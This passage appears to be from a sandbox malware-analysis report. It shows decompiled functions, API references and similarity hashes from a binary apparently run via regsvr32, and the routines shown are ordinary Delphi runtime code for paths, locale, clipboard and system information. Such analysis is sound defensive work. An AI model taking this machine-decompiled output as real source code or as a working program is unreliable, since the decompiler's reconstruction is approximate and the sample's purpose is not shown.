						_t93 = _v8 + 2;
						goto L10;
					} else {
						if( *((char*)(_v8 + 1)) == 0x5c) {
							_t95 = E00404C48(_v8 + 2);
							if( *_t95 != 0) {
								_t14 = _t95 + 1; // 0x1
								_t93 = E00404C48(_t14);
								if( *_t93 != 0) {
									L10:
									_t83 = _t93 - _v8;
									_push(_t83 + 1);
									_push(_v8);
									_push( &_v595);
									L00401218();
									while( *_t93 != 0) {
										_t90 = E00404C48(_t93 + 1);
										_t45 = _t90 - _t93;
										if(_t45 + _t83 + 1 <= 0x105) {
											_push(_t45 + 1);
											_push(_t93);
											_push( &(( &_v595)[_t83]));
											L00401218();
											_t94 = FindFirstFileA( &_v595,  &_v334);
											if(_t94 != 0xffffffff) {
												FindClose(_t94);
												_t54 =  &(_v334.cFileName);
												_push(_t54);
												L00401220();
												if(_t54 + _t83 + 1 + 1 <= 0x105) {
													 *((char*)(_t96 + _t83 - 0x24f)) = 0x5c;
													_push(0x105 - _t83 - 1);
													_push( &(_v334.cFileName));
													_push( &(( &(( &_v595)[_t83]))[1]));
													L00401218();
													_t64 =  &(_v334.cFileName);
													_push(_t64);
													L00401220();
													_t83 = _t83 + _t64 + 1;
													_t93 = _t90;
													continue;
												}
											}
										}
										goto L17;
									}
									_push(_v12);
									_push( &_v595);
									_push(_v8);
									L00401218();
								}
							}
						}
					}
				} else {
					_t84 = GetProcAddress(_t91, "GetLongPathNameA");
					if(_t84 == 0) {
						goto L4;
					} else {
						_push(0x105);
						_push( &_v595);
						_push(_v8);
						if( *_t84() == 0) {
							goto L4;
						} else {
							_push(_v12);
							_push( &_v595);
							_push(_v8);
							L00401218();
						}
					}
				}
				L17:
				return _v16;
			}

0x00404c68
0x00404c6b
0x00404c71
0x00404c7e
0x00404c82
0x00404cc4
0x00404cca
0x00404d07
0x00000000
0x00404ccc
0x00404cd3
0x00404ce4
0x00404ce9
0x00404cef
0x00404cf7
0x00404cfc
0x00404d0a
0x00404d0c
0x00404d12
0x00404d16
0x00404d1d
0x00404d1e
0x00404dc9
0x00404d30
0x00404d34
0x00404d41
0x00404d48
0x00404d49
0x00404d52
0x00404d53
0x00404d6b
0x00404d70
0x00404d73
0x00404d78
0x00404d7e
0x00404d7f
0x00404d8f
0x00404d91
0x00404da1
0x00404da8
0x00404db2
0x00404db3
0x00404db8
0x00404dbe
0x00404dbf
0x00404dc5
0x00404dc7
0x00000000
0x00404dc7
0x00404d8f
0x00404d70
0x00000000
0x00404d41
0x00404dd5
0x00404ddc
0x00404de0
0x00404de1
0x00404de1
0x00404cfc
0x00404ce9
0x00404cd3
0x00404c84
0x00404c8f
0x00404c93
0x00000000
0x00404c95
0x00404c95
0x00404ca0
0x00404ca4
0x00404ca9
0x00000000
0x00404cab
0x00404cae
0x00404cb5
0x00404cb9
0x00404cba
0x00404cba
0x00404ca9
0x00404c93
0x00404de6
0x00404def

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000000,004363AD,004370A4,?,00404EBC,00000000,00404F19,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00404C79
GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 00404C8A
lstrcpyn.KERNEL32(?,004363AD,?,?,00404EBC,00000000,00404F19,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00404CBA
lstrcpyn.KERNEL32(004363AD,?,?,kernel32.dll,00000000,004363AD,004370A4,?,00404EBC,00000000,00404F19,?,80000001,Software\Borland\Locales,00000000,000F0019), ref: 00404D1E
lstrcpyn.KERNEL32(004363AD,?,00000001,004363AD,?,?,kernel32.dll,00000000,004363AD,004370A4,?,00404EBC,00000000,00404F19,?,80000001), ref: 00404D53
FindFirstFileA.KERNEL32(004363AD,?,004363AD,?,00000001,004363AD,?,?,kernel32.dll,00000000,004363AD,004370A4,?,00404EBC,00000000,00404F19), ref: 00404D66
FindClose.KERNEL32(00000000,004363AD,?,004363AD,?,00000001,004363AD,?,?,kernel32.dll,00000000,004363AD,004370A4,?,00404EBC,00000000), ref: 00404D73
lstrlen.KERNEL32(?,00000000,004363AD,?,004363AD,?,00000001,004363AD,?,?,kernel32.dll,00000000,004363AD,004370A4,?,00404EBC), ref: 00404D7F
lstrcpyn.KERNEL32(0000005D,?,00000104,?,00000000,004363AD,?,004363AD,?,00000001,004363AD,?,?,kernel32.dll,00000000,004363AD), ref: 00404DB3
lstrlen.KERNEL32(?,0000005D,?,00000104,?,00000000,004363AD,?,004363AD,?,00000001,004363AD,?,?,kernel32.dll,00000000), ref: 00404DBF
lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104,?,00000000,004363AD,?,004363AD,?,00000001,004363AD,?), ref: 00404DE1

Strings

kernel32.dll, xrefs: 00404C74
GetLongPathNameA, xrefs: 00404C84
\, xrefs: 00404D91

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 874e248ba27cf89c7cc3d79b7b02c48bdafec182900835e26ed44e6584deff9f
Instruction ID: d5448e32e381d96dc73d13be9289e95ecbcb9c69f84f1a2e055141a5d8a61796
Opcode Fuzzy Hash: 874e248ba27cf89c7cc3d79b7b02c48bdafec182900835e26ed44e6584deff9f
Instruction Fuzzy Hash: 8A4183B1904119ABDB10EAE9CD85ADEB3EC9F99304F1505BAE648F7281D638DF408B58

Uniqueness

Uniqueness Score: -1.00%

Function 00405799 Relevance: 9.0, APIs: 6, Instructions: 41
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405799(void* __eax, void* __ebx, void* __ecx, intOrPtr* __edi) {
				long _t11;
				void* _t16;

				_t16 = __ebx;
				 *__edi =  *__edi + __ecx;
				 *((intOrPtr*)(__eax - 0x43a5b4)) =  *((intOrPtr*)(__eax - 0x43a5b4)) + __eax - 0x43a5b4;
				 *0x437008 = 2;
				 *0x43a014 = 0x401180;
				 *0x43a018 = 0x401188;
				 *0x43a046 = 2;
				 *0x43a000 = E00404958;
				if(E00402D9C() != 0) {
					_t3 = E00402DCC();
				}
				E00402E90(_t3);
				 *0x43a04c = 0xd7b0;
				 *0x43a218 = 0xd7b0;
				 *0x43a3e4 = 0xd7b0;
				 *0x43a03c = GetCommandLineA();
				 *0x43a038 = E00401290();
				if((GetVersion() & 0x80000000) == 0x80000000) {
					 *0x43a5b8 = E004056D0(GetThreadLocale(), _t16, __eflags);
				} else {
					if((GetVersion() & 0x000000ff) <= 4) {
						 *0x43a5b8 = E004056D0(GetThreadLocale(), _t16, __eflags);
					} else {
						 *0x43a5b8 = 3;
					}
				}
				_t11 = GetCurrentThreadId();
				 *0x43a030 = _t11;
				return _t11;
			}

0x00405799
0x0040579e
0x004057a3
0x004057a5
0x004057ac
0x004057b6
0x004057c0
0x004057c7
0x004057d8
0x004057da
0x004057da
0x004057df
0x004057e4
0x004057ed
0x004057f6
0x00405804
0x0040580e
0x00405822
0x0040585b
0x00405824
0x00405832
0x0040584a
0x00405834
0x00405834
0x00405834
0x00405832
0x00405860
0x00405865
0x0040586a

APIs

Part of subcall function 00402D9C: GetKeyboardType.USER32(00000000), ref: 00402DA1
Part of subcall function 00402D9C: GetKeyboardType.USER32(00000001), ref: 00402DAD

GetCommandLineA.KERNEL32 ref: 004057FF
GetVersion.KERNEL32 ref: 00405813
GetVersion.KERNEL32 ref: 00405824
GetCurrentThreadId.KERNEL32 ref: 00405860

Part of subcall function 00402DCC: 6DB16790.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402DEE
Part of subcall function 00402DCC: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00402E3D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402E21
Part of subcall function 00402DCC: RegCloseKey.ADVAPI32(?,00402E44,00000000,?,00000004,00000000,00402E3D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402E37

GetThreadLocale.KERNEL32 ref: 00405840

Part of subcall function 004056D0: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00405736), ref: 004056F6

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: KeyboardLocaleThreadTypeVersion$B16790CloseCommandCurrentInfoLineQueryValue
String ID:
API String ID: 2023342477-0
Opcode ID: e4cd506c99500c073439430290d033c6e8a098f166e185c57581661fe7b8af3a
Instruction ID: 7a43632dc40d1a705924d3dd557bc6b22e72d6fabe23469eab42b64c0640205a
Opcode Fuzzy Hash: e4cd506c99500c073439430290d033c6e8a098f166e185c57581661fe7b8af3a
Instruction Fuzzy Hash: 320184B1884601C5D315BF71A84D30A3A70AB11349F60A47FE990BA3F3D77C00688BAF

Uniqueness

Uniqueness Score: -1.00%

Function 004188D4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51
fileclipboardCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004188D4(intOrPtr* __eax, void* __ecx, void* __edx) {
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				struct tagENHMETAHEADER _v104;
				void* __ebp;
				intOrPtr _t35;
				intOrPtr* _t37;
				struct HENHMETAFILE__* _t43;
				intOrPtr _t44;

				_t37 = __eax;
				_t43 = GetClipboardData(0xe);
				if(_t43 == 0) {
					_t35 =  *0x438f68; // 0x413478
					E00415E1C(_t35);
				}
				E00418074(_t37);
				_t44 =  *((intOrPtr*)(_t37 + 0x28));
				 *(_t44 + 8) = CopyEnhMetaFileA(_t43, 0);
				GetEnhMetaFileHeader( *(_t44 + 8), 0x64,  &_v104);
				 *((intOrPtr*)(_t44 + 0xc)) = _v72 - _v104.rclFrame;
				 *((intOrPtr*)(_t44 + 0x10)) = _v68 - _v76;
				 *((short*)(_t44 + 0x18)) = 0;
				 *((char*)(_t37 + 0x2c)) = 1;
				 *((char*)(_t37 + 0x22)) =  *((intOrPtr*)( *_t37 + 0x24))() & 0xffffff00 | _t31 != 0x00000000;
				return  *((intOrPtr*)( *_t37 + 0x10))();
			}

0x004188dd
0x004188e6
0x004188ea
0x004188ec
0x004188f1
0x004188f1
0x004188f8
0x004188fd
0x00418908
0x00418915
0x00418920
0x00418929
0x0041892c
0x00418932
0x00418942
0x00418954

APIs

GetClipboardData.USER32 ref: 004188E1
CopyEnhMetaFileA.GDI32(00000000,00000000,0000000E), ref: 00418903
GetEnhMetaFileHeader.GDI32(?,00000064,?,00000000,00000000,0000000E), ref: 00418915

Strings

x4A, xrefs: 004188EC

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: FileMeta$ClipboardCopyDataHeader
String ID: x4A
API String ID: 1752724394-525492747
Opcode ID: bcf449df50b93dc479fc8fea592ec1ec208eba0389b2ce8d4adf17000637b5ad
Instruction ID: 24fe04790c638a72be9f86fd5660a4401d3f2cae62fbed3e1889f09398d645de
Opcode Fuzzy Hash: bcf449df50b93dc479fc8fea592ec1ec208eba0389b2ce8d4adf17000637b5ad
Instruction Fuzzy Hash: 58115A316007048FD710EF6AC881A9ABBF8EF48310B10426EE908DB252DA34ED458B58

Uniqueness

Uniqueness Score: -1.00%

Function 00415EAC Relevance: 3.0, APIs: 2, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00415EAC(void* __ebx) {
				char _v260;
				char _v264;
				intOrPtr _t18;
				long _t21;
				void* _t22;
				intOrPtr _t27;
				void* _t32;

				_v264 = 0;
				_push(_t32);
				_push(0x415f48);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32 + 0xfffffefc;
				_t21 = GetLastError();
				if(_t21 == 0 || FormatMessageA(0x1000, 0, _t21, 0x400,  &_v260, 0x100, 0) == 0) {
					E00415E58(_t22);
				} else {
					E00403EA8( &_v264, 0x100,  &_v260);
					_t18 =  *0x40f7d8; // 0x40f824
					E0040A4FC(_t18, _v264, 1);
					E00403610();
				}
				_pop(_t27);
				 *[fs:eax] = _t27;
				_push(E00415F4F);
				return E00403C38( &_v264);
			}

0x00415eb8
0x00415ec0
0x00415ec1
0x00415ec6
0x00415ec9
0x00415ed1
0x00415ed5
0x00415f2a
0x00415efb
0x00415f0c
0x00415f19
0x00415f1e
0x00415f23
0x00415f23
0x00415f31
0x00415f34
0x00415f37
0x00415f47

APIs

GetLastError.KERNEL32(00000000,00415F48), ref: 00415ECC
FormatMessageA.KERNEL32(00001000,00000000,00000000,00000400,?,00000100,00000000,00000000,00415F48), ref: 00415EF2

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: fcdaa90e9fa4f10945f587da507dadf56c353550d48ba562c2885a77bbf6e04e
Instruction ID: aedfe6b3ffb53c7c6aa187ba5fb9c1ea395bee6b1ca72dd96666d98616a1f10a
Opcode Fuzzy Hash: fcdaa90e9fa4f10945f587da507dadf56c353550d48ba562c2885a77bbf6e04e
Instruction Fuzzy Hash: 4E01FC712047499BD721EF21DC82BD677ACD788704F5000B7B644B26C1EAF8AEC4891D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B294 Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040B294(int __eax, void* __ebx, void* __eflags) {
				char _v11;
				char _v16;
				intOrPtr _t28;
				void* _t31;
				void* _t33;

				_t33 = __eflags;
				_v16 = 0;
				_push(_t31);
				_push(0x40b2f8);
				_push( *[fs:edx]);
				 *[fs:edx] = _t31 + 0xfffffff4;
				GetLocaleInfoA(__eax, 0x1004,  &_v11, 7);
				E00403EA8( &_v16, 7,  &_v11);
				_push(_v16);
				E00407248(7, GetACP(), _t33);
				_pop(_t28);
				 *[fs:eax] = _t28;
				_push(E0040B2FF);
				return E00403C38( &_v16);
			}

0x0040b294
0x0040b29d
0x0040b2a2
0x0040b2a3
0x0040b2a8
0x0040b2ab
0x0040b2ba
0x0040b2ca
0x0040b2d2
0x0040b2db
0x0040b2e4
0x0040b2e7
0x0040b2ea
0x0040b2f7

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,0040B2F8), ref: 0040B2BA
GetACP.KERNEL32(?,?,00001004,?,00000007,00000000,0040B2F8), ref: 0040B2D3

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7251ae266ad60354d46a8c4b55ef9814e52f07384dd2fae6b129a46221805422
Instruction ID: a34586e4aa7461dee78f59986c10342fb8ed36f71aa3a7baadd9de648ece3d55
Opcode Fuzzy Hash: 7251ae266ad60354d46a8c4b55ef9814e52f07384dd2fae6b129a46221805422
Instruction Fuzzy Hash: 78F09631E087087BEB01EEA2C85299EB76ED7C5714F50C5BAB110B65C0EA7C66048A58

Uniqueness

Uniqueness Score: -1.00%

Function 0040765A Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040765A(CHAR* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				CHAR* _t25;
				int _t26;
				intOrPtr _t31;
				intOrPtr _t34;
				intOrPtr* _t39;
				intOrPtr* _t40;
				intOrPtr _t48;
				intOrPtr _t50;

				_t25 = _a4;
				if(_t25 == 0) {
					_t25 = 0;
				}
				_t26 = GetDiskFreeSpaceA(_t25,  &_v8,  &_v12,  &_v16,  &_v20);
				_v28 = _v8 * _v12;
				_v24 = 0;
				_t48 = _v24;
				_t31 = E00404960(_v28, _t48, _v16, 0);
				_t39 = _a8;
				 *_t39 = _t31;
				 *((intOrPtr*)(_t39 + 4)) = _t48;
				_t50 = _v24;
				_t34 = E00404960(_v28, _t50, _v20, 0);
				_t40 = _a12;
				 *_t40 = _t34;
				 *((intOrPtr*)(_t40 + 4)) = _t50;
				return _t26;
			}

0x00407663
0x00407668
0x0040766a
0x0040766a
0x0040767d
0x0040768c
0x0040768f
0x0040769c
0x0040769f
0x004076a4
0x004076a7
0x004076a9
0x004076b6
0x004076b9
0x004076be
0x004076c1
0x004076c3
0x004076cc

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 0040767D

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: c450c25a418a1938c4615310063d30e0d4e9e974569b6580d81e293a7d94afbc
Instruction ID: 48c6147ff52caa58017484f40a24aea7287412081a6a8195d36a17548d6635bd
Opcode Fuzzy Hash: c450c25a418a1938c4615310063d30e0d4e9e974569b6580d81e293a7d94afbc
Instruction Fuzzy Hash: 1A11C3B5E00609AFDB44CFA9C881DAFF7F9EFC8714B14C569A505E7254E631AE018B90

Uniqueness

Uniqueness Score: -1.00%

Function 004056CE Relevance: 1.5, APIs: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E004056CE(int __eax, void* __ebx, void* __eflags) {
				char _v8;
				char _v15;
				char _v20;
				intOrPtr _t29;
				void* _t32;

				_v20 = 0;
				_push(_t32);
				_push(0x405736);
				_push( *[fs:edx]);
				 *[fs:edx] = _t32 + 0xfffffff0;
				GetLocaleInfoA(__eax, 0x1004,  &_v15, 7);
				E00403EA8( &_v20, 7,  &_v15);
				E004029C0(_v20,  &_v8);
				if(_v8 != 0) {
				}
				_pop(_t29);
				 *[fs:eax] = _t29;
				_push(E0040573D);
				return E00403C38( &_v20);
			}

0x004056d9
0x004056de
0x004056df
0x004056e4
0x004056e7
0x004056f6
0x00405706
0x00405711
0x0040571c
0x0040571c
0x00405722
0x00405725
0x00405728
0x00405735

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00405736), ref: 004056F6

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 47dc348467b92025679f71e557a3165f270f1ec24bb565dbc8d97f906ef49c96
Instruction ID: 309fda64118647d2eda7cf2e507bee8aebe8d637e188c0a2f83c4d39997c9d7b
Opcode Fuzzy Hash: 47dc348467b92025679f71e557a3165f270f1ec24bb565dbc8d97f906ef49c96
Instruction Fuzzy Hash: 4CF0CD31A04709EFE714DE91CC41AEFB779F784714F50893AB510B71C0E7782A04C654

Uniqueness

Uniqueness Score: -1.00%

Function 0041643C Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041643C(intOrPtr __eax, intOrPtr __edx) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v48;
				struct _SYSTEM_INFO* _t17;
				unsigned int _t20;
				unsigned int _t22;
				signed int _t31;
				intOrPtr _t33;

				_v12 = __edx;
				_v8 = __eax;
				_t17 =  &_v48;
				GetSystemInfo(_t17);
				_t33 = _v8;
				_t31 = _v12 - 1;
				if(_t31 >= 0) {
					if( *((short*)( &_v48 + 0x20)) == 3) {
						do {
							_t20 =  *(_t33 + _t31 * 4) >> 0x10;
							 *(_t33 + _t31 * 4) = _t20;
							_t31 = _t31 - 1;
						} while (_t31 >= 0);
						return _t20;
					} else {
						goto L2;
					}
					do {
						L2:
						asm("bswap eax");
						_t22 =  *(_t33 + _t31 * 4) >> 8;
						 *(_t33 + _t31 * 4) = _t22;
						_t31 = _t31 - 1;
					} while (_t31 >= 0);
					return _t22;
				}
				return _t17;
			}

0x00416442
0x00416445
0x00416448
0x0041644c
0x00416451
0x00416457
0x00416458
0x00416462
0x00416475
0x0041647e
0x00416486
0x00416489
0x00416489
0x00000000
0x00000000
0x00000000
0x00000000
0x00416464
0x00416464
0x00416467
0x00416469
0x0041646c
0x0041646f
0x0041646f
0x00000000
0x00416464
0x00416490

APIs

GetSystemInfo.KERNEL32(?), ref: 0041644C

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: e0f5247e7785933d2bbf86731783ce0a9f6c582e27f1abbaccc5cb240d0ccb12
Instruction ID: 6f7685b5aeb511bfd0e09774191d9e913ceb5b18259ed35a589b9e22fe165a48
Opcode Fuzzy Hash: e0f5247e7785933d2bbf86731783ce0a9f6c582e27f1abbaccc5cb240d0ccb12
Instruction Fuzzy Hash: 1AF0F672E011089FCB10DF98C4848DDBBB8FB56301B41829AC448D7342EB38EA80CB88

Uniqueness

Uniqueness Score: -1.00%

Function 004056D0 Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E004056D0(int __eax, void* __ebx, void* __eflags) {
				char _v8;
				char _v15;
				char _v20;
				intOrPtr _t29;
				void* _t32;

				_v20 = 0;
				_push(_t32);
				_push(0x405736);
				_push( *[fs:edx]);
				 *[fs:edx] = _t32 + 0xfffffff0;
				GetLocaleInfoA(__eax, 0x1004,  &_v15, 7);
				E00403EA8( &_v20, 7,  &_v15);
				E004029C0(_v20,  &_v8);
				if(_v8 != 0) {
				}
				_pop(_t29);
				 *[fs:eax] = _t29;
				_push(E0040573D);
				return E00403C38( &_v20);
			}

0x004056d9
0x004056de
0x004056df
0x004056e4
0x004056e7
0x004056f6
0x00405706
0x00405711
0x0040571c
0x0040571c
0x00405722
0x00405725
0x00405728
0x00405735

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00405736), ref: 004056F6

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c036741f8ba41eac10db5f40d786334987c0e44b644ab1474de329991ae77906
Instruction ID: a51cd4b92d9585a7debcb1e42ac66a1d42b8b4d7fed3e26eb4a3f6b69b43f94e
Opcode Fuzzy Hash: c036741f8ba41eac10db5f40d786334987c0e44b644ab1474de329991ae77906
Instruction Fuzzy Hash: C4F0C831A04709EFE714DE92CC42AEFB77AF784714F50893AA110771C0E7B82A04CA98

Uniqueness

Uniqueness Score: -1.00%

Function 00409D40 Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409D40(int __eax, void* __ecx, int __edx, intOrPtr _a4) {
				char _v260;
				intOrPtr _t10;
				void* _t18;

				_t18 = __ecx;
				_t10 = _a4;
				if(GetLocaleInfoA(__eax, __edx,  &_v260, 0x100) <= 0) {
					return E00403C8C(_t10, _t18);
				}
				return E00403D28(_t10, _t5 - 1,  &_v260);
			}

0x00409d4b
0x00409d4d
0x00409d65
0x00000000
0x00409d7d
0x00000000

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 00409D5E

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 86aaed17f8a6b51b287fe3b35eecba835fb7249e15a5b4a7a4b262368af3054d
